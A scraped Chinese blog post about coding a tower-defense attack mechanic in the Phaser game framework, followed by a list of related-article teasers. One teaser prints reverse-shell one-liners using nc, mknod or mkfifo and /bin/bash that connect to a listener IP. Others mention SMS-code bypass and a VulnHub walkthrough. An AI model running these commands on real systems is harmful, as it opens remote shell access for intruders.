王者荣耀防御塔如何开发!新手小白做游戏开发采坑经过。phaser前端游戏框架

news2024/12/24 11:38:42

好嘞,游戏开发框架是js 开发的网页小游戏!
phaser这个框架。好我们先上图!
在这里插入图片描述

目前大概是这么一个样子。
然后防御塔功能呢。简单的说就是当人物进去的时候打他。人物扣血。
我们的小人物是这样的代码

遇到的问题如下;

小白刚开始开发游戏内存使用不当把浏览器给撑爆了。
人物进入防御塔后持续性的扣血。不是固定间隔打一下。
后面倒是都解决了;

人物的类

人物的类大概是这样的,有这个移动速度,有他底下的小角色,有他的health健康。当人物进入防御塔的时候要进行扣血。

export default class Player extends Phaser.GameObjects.Container {
  face: CircleMaskImage;
  static MinSpeed: number = 300;
  speed: number = Player.MinSpeed;
  user: User | undefined;
  children: Player[] = [];
  speedCoefficient: number = 0;
  sizeCoefficient: number = 0;
  line?: Phaser.GameObjects.Line;
  flash: Phaser.Tweens.Tween;
  flashStar: Phaser.GameObjects.Image;
  health:number
  constructor(
    public scene: Phaser.Scene,
    x: number,
    y: number,
    public team: Team,
    public parent?: Player
  ) {
    super(scene, x, y);
    this.face = new CircleMaskImage(scene, 0, 0, "noFace").setOrigin(0);
    this.health = 500;
    this.add(this.face);
    this.scene.add.existing(this);
    this.scene.physics.add.existing(this);
    this.Body.setCollideWorldBounds(true);
    this.Body.setBounce(1, 1);
    this.setDepth(5000);
    if (parent) {
      this.createOrUpdateLine();
    }
    const vec = this.scene.physics.velocityFromAngle(
      Math.random() * 360,
      this.speed
    );
    this.Body.setVelocity(vec.x, vec.y);
    this.setFace("noFace");
    this.flashStar = this.scene.add
      .image(Game.BlockSize / 2, Game.BlockSize / 2, "star")
      .setScale(2)
      .setAlpha(0);
    this.add(this.flashStar);

    this.flash = this.scene.add.tween({
      targets: this.flashStar,
      duration: 100,
      scale: { from: 0, to: 2 },
      alpha: { from: 0, to: 1 },
      yoyo: 1,
      hold: 100,
      loop: 0,
    });
    this.flash.stop();
  }

简单介绍phaser框架

  1. 基于浏览器技术
    Phaser 构建在现代 Web 技术之上,主要依赖于以下两个核心浏览器 API:

Canvas API:这是一个用于在网页上绘制图形的标准 API,允许开发者使用 JavaScript 创建动态、可交互的 2D 图像。当浏览器不支持或用户选择禁用 WebGL 时,Phaser 会退回到使用 Canvas 进行渲染。

WebGL API:作为一种更高级的图形接口,WebGL 允许在浏览器中直接操作 GPU(图形处理器),实现硬件加速的 2D/3D 图形渲染。对于性能要求较高的游戏场景,Phaser 利用 WebGL 提供更流畅、高效的视觉表现。
2… 游戏对象与组件系统
haser 提供了一套丰富的游戏对象体系,如精灵(Sprites)、组(Groups)、文本(Text)、动画(Animations)、粒子(Particles)等,这些都是构成游戏场景的基本元素。这些对象通常包含物理属性(如位置、速度、旋转等)、交互行为(如碰撞检测、输入响应)以及可定制的视觉样式。游戏对象之间可以组成层次结构或分组管理,便于进行批量操作和优化渲染。
3更新与渲染循环
Phaser 通过维护一个核心的游戏循环来驱动游戏逻辑的执行。这个循环包括两个主要阶段:

Update:在这个阶段,Phaser 会按照每帧(通常为1/60秒)的频率更新所有游戏对象的状态。这包括处理用户输入、更新对象的位置、执行游戏逻辑(如AI、计时器、物理模拟等)。开发者可以通过定义自己的 update 方法来插入自定义的游戏逻辑代码。

Render:在更新阶段完成后,Phaser 进入渲染阶段。此时,Pixi.js 被调用来重新绘制整个游戏画面,确保屏幕上的所有游戏对象都反映最新的状态。Phaser 会自动处理视口变换、层级排序等,确保正确的渲染顺序。

由update这个函数开始。

 this.teams.forEach((team) => {
      team.players.children.each((player) => player.update());
      team.blocks.children.each((block) => block.update());
      //更新防御塔功能.
      team.update();
    });
    const currentTime = performance.now(); // 或者使用其他适合您游戏环境的当前时间获取方式

    // 更新防御塔功能,每 1 秒更新一次
    if (currentTime - this._lastTowerUpdateTime >= 2000 ) {
      this.teams.forEach((team) => {
        if (team.isDefensiveTower) {
          // console.log("更新",this._lastTowerUpdateTime)
          team.update();
        }
      });
      this._lastTowerUpdateTime = currentTime;
    }

会实时的更新。
就是写了一个函数然后去实时的计算防御塔的攻击范围里面有没有人。

防御塔类

    //防御塔需要的变量;不要每次new
    this.rangeCollider = new Phaser.Geom.Circle(332, 662, this.attackRange);
       this.attackRangeGraphics = this.scene.add.graphics({
         fillStyle: { color: 4790 }, // 初始颜色
       });
       this.attackRangeGraphics.fillCircle(332, 662, this.attackRange);

找寻附近的玩家

 /**
   * 实现步骤估计得获取到所有的player,然后计算一下距离;,然后计算伤害。
   * @returns 获取防御塔附近的player
   */
  private getNearbyPlayers(): Player[] {
    const nearbyPlayers: Player[] = [];
    // 创建一个临时的圆形碰撞体,代表防御塔的攻击范围(坐标加上范围)
    // const rangeCollider = new Phaser.Geom.Circle(332, 662, this.attackRange);
    // const attackRangeGraphics = this.scene.add.graphics({
    //   fillStyle: { color: 100}, // 初始颜色
    // });
 
    // attackRangeGraphics.fillCircle(332, 662, this.attackRange);
    this.players.getChildren().forEach((child: Phaser.GameObjects.GameObject) => {
      if (child instanceof Player) {
        const player = child as Player;
        const playerCenter = player.getCenter(); 
        if (Phaser.Geom.Circle.Contains(this.rangeCollider, playerCenter.x, playerCenter.y)) {
          nearbyPlayers.push(player);
        }
      }
    });
    return nearbyPlayers;
  }

对所有附近的玩家扣血

//给team添加了攻击的方法。
  update(): void {
  
    const nearbyPlayers = this.getNearbyPlayers(); // 获取处于攻击范围内的玩家列表
    // console.log("nearbyPlayers",nearbyPlayers)
    // nearbyPlayers.forEach((player) => {
    //   console.log("nearbyPlayers",nearbyPlayers.length)
    //   this.attack(player); // 对每个进入范围的玩家发起攻击
    // });
    nearbyPlayers.forEach((player) => {
      if (!this._lastAttackedPlayers.has(player)) {
        console.log("nearbyPlayers",nearbyPlayers.length)
        this.attack(player); // 对每个未被攻击过的玩家发起攻击
        this._lastAttackedPlayers.add(player);
      }
    });
  
    // 清理已离开攻击范围的玩家,防止缓存集合无限制增长
    this._lastAttackedPlayers.forEach((player) => {
      if (!nearbyPlayers.includes(player)) {
        this._lastAttackedPlayers.delete(player);
      }
    });
  }

玩家扣血的函数


  attack(player: Player): void {
    const damage = this.calculateDamage(); // 计算防御塔造成的伤害
    player.takeDamage(damage); // 调用玩家的takeDamage方法,减少其生命值
  }

目前待改善

这个防御塔目前来说每秒都会好几个人物扣血。没有类似的抗塔机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613978.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案,当时做的是ffmpeg内核版本,由于ffmpeg内核解析都是代码实现,所以无缝切换非常完美,看不到丝毫的中间切换过程,看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法,…

计算机经典黑皮书分享

计算机经典黑皮书是一套计算机科学丛书,其中包含了多本计算机科学领域的经典教材 提供了全面的知识体系:黑皮书涵盖了计算机科学的多个领域,如计算机组成与设计、操作系统、数据库、人工智能等。它们深入浅出地介绍了相关领域的基本概念、原…

免费听音乐,下载音乐mp3,mp4,歌词的网站分享(2024-04-22)

亲测!!! 1、音乐客 免费听和免费下载 经典老歌 - 音乐客音乐客,yinyueke.net,免费音乐,免费在线音乐播放器,免费下载音乐,音乐,播放器,下载,播放,DJ,免费,mp3,高音质,…

07 文件-IO流字节流

File File类的使用 File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名,这个路径可以存在,也可以不存在 创建File类的对象 构造器说明public File(String pathname)根据文件路径创建文件对象public File(String parent, Strin…

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理: 服务器端返回的相关参数作为最终登录凭证,导致可绕过登录限制。 危害:在相关业务中危害也不同,如找回密码,注册,电话换绑等地方即可形成高危漏洞,如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…

双链表实现,增 删 改 查(基础详细版)

0.在开始之前建议先跟着思路&#xff0c;走一遍&#xff0c;调试部分我就不放了主要写的是实现思路。当然最后也会把源码附上。 1. 带头双向循环链表(简称&#xff1a;双向链表) 双向循环带头链表: 红色的指向正的 最后一个节点指向头结点绿色的指向反的 从最后一个开始遍历&a…

Rust-01 Hello Rust 10分钟上手编写第一个Rust程序 背景介绍 发展历史 环境配置 升级打怪的必经之路

背景介绍 Rust 是一种多范式、通用的编程语言&#xff0c;强调性能、类型安全和并发性。它通过一个称为“借用检查器”的机制在编译时追踪所有引用的对象生命周期&#xff0c;以强制实现内存安全&#xff0c;即确保所有引用都指向有效的内存&#xff0c;而不需要垃圾收集器。 …

浏览器工作原理与实践--性能分析工具:如何分析Performance中的Main指标

节我们介绍了如何使用Performance&#xff0c;而且我们还提到了性能指标面板中的Main指标&#xff0c;它详细地记录了渲染主线程上的任务执行记录&#xff0c;通过分析Main指标&#xff0c;我们就能够定位到页面中所存在的性能问题&#xff0c;本节&#xff0c;我们就来介绍如何…

如何修改支付宝号?日赚300+,纯撸信息差!

最近更新的内容中&#xff0c;很多都是给大家讲到的“信息差”。但是&#xff0c;真正能理解信息差&#xff0c;并且使用信息差赚钱的&#xff0c;有多少&#xff1f; 包括前几天给朋友们分享的软件项目&#xff0c;靠信息差月入3万&#xff0c;直接复制粘贴搞定&#xff01;和…

java可盈保险合同管理系统的设计与实现(springboot+mysql源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的可盈保险合同管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于Spring Boot的…

在【laravel框架】学习中遇到的常见的问题以及解决方法

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

net模块

建立TCP的链接 1 发送消息的服务 2 接收消息 2 建立http的链接让浏览器进行访问 import net from netconst html <h1>TCP</h1>const respinseHeaders [HTTP/1.1 200 OK,Content-Type:text/html,Content-Length: html.length,\r\n,html]const http net.create…

计算机系列之大话原码、补码、反码、移码

5、大话原码、补码、反码、移码 原码 最高位 低位&#xff08;7位二进制数&#xff09;&#xff0c; 最高位 0 表示正数&#xff0c;1表示负数 低位即该数字的二进制数 7 的原码 00000111&#xff0c; -7 的原码 10000111&#xff0c; 0000111 为 7 的二进制数&#xff…

VulnHub靶机 DC-5 打靶 渗透测试详情过程

VulnHub靶机 DC-5 打靶 详细渗透测试过程 目录 VulnHub靶机 DC-5 打靶 详细渗透测试过程一、将靶机导入到虚拟机当中二、渗透流程主机发现端口扫描目录爆破文件包含getshell反弹shell提权 一、将靶机导入到虚拟机当中 靶机地址&#xff1a; https://download.vulnhub.com/dc/…

Linux之C编程入门

目录 第1关&#xff1a;第一个C程序 任务描述 相关知识 编译C程序 编程要求 答案及其步骤&#xff1a; 第2关&#xff1a;Linux编译C程序 任务描述 相关知识 gcc编译器使用方法 编程要求 答案及其步骤&#xff1a; 第3关&#xff1a;Linux之静态库编写 任务描述 相关知识 生成…

【听劝】别盲目备考NPDP,思维导图助你高效学习

还在为如何高效学习NPDP而苦恼吗&#xff1f; 今天给大家分享NPDP认证考试必备的学习资料&#xff1a;思维导图。 &#xff08;内容来自圣略NPDP资深讲师整理&#xff09; 详细梳理了课本内容&#xff0c;保存到手机学习&#xff0c;非常方便&#xff01; 思维导图会陆续更…

web自动化系列-selenium的3种弹框操作(十二)

在进行功能测试时 &#xff0c;经常会遇到出现各种的弹出的提示 &#xff0c;比如删除数据给出提示 、做某个操作时也会弹框给出一些友好提示 &#xff0c;因为这些弹框都是做web操作时的一些常用组件 &#xff0c;所以&#xff0c;selenium就不得不支持这些组件 。 1.弹框介绍…